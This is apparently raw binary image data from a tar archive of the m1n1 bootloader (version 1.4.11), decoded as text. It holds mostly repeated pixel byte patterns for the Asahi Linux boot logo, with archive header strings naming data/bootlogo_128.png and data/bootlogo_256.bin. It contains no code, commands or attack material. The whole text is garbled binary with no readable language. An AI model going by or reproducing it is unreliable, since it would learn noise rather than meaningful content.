ÿ’8MÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùüþÿôúþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿüüüÿ\\\ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿgggÿþþþÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¹¹¹ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿN)ÿÊMjÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ”””ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ¢¢¢ÿÿÿÿÿÿÿÿÿ÷÷÷ÿoooÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ! ÿª@YÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÍÍÍÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ222ÿÓÓÓÿÓÓÓÿ---ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿj(8ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿòòòÿEEEÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ---ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ6ÿ»GbÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿuuuÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿˆ3GÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ­­­ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF%ÿÆKhÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿáááÿ777ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ***ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ¡=TÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿûûûÿZZZÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ###ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿb%4ÿÏNmÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ-ÿ´D_ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿËËËÿ...ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ&&&ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ0CÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿîîîÿBBBÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿD$ÿÃJgÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿmmmÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ)))ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ—9OÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ¦¦¦ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ!!!ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\#0ÿÍNlÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÜÜÜÿ333ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ(ÿ°C]ÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿùùùÿSSSÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ%%%ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿx-?ÿÒPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ………ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ:ÿ½HdÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÃÃÃÿ---ÿ,,,ÿ,,,ÿ,,,ÿ(((ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿ’8MÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿíííÿ???ÿ,,,ÿ,,,ÿ,,,ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿN)ÿÊMjÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿþþþÿiiiÿ,,,ÿ,,,ÿ+++ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ! ÿª@YÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÿÿÿÿŸŸŸÿ,,,ÿ,,,ÿ$$$ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿj(8ÿÑOnÿÓPoÿÓPoÿÓPoÿÓPoÿÿÿÿÿÿÿÿÿÖÖÖÿ111ÿ,,,ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ6ÿ»GbÿÓPoÿÓPoÿÓPoÿÿÿÿÿöööÿMMMÿ(((ÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿˆ3GÿÓPoÿÓPoÿÿÿÿÿ~~~ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿF%ÿÆKhÿ˾Áÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿm1n1-1.4.11/data/bootlogo_128.png000077700000000000000000000000001453754430200270642../artwork/logos/png_128/AsahiLinux_logomark.pngustar00rootroot00000000000000m1n1-1.4.11/data/bootlogo_256.bin000066400000000000000000010000001453754430200161730ustar00rootroot00000000000000ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ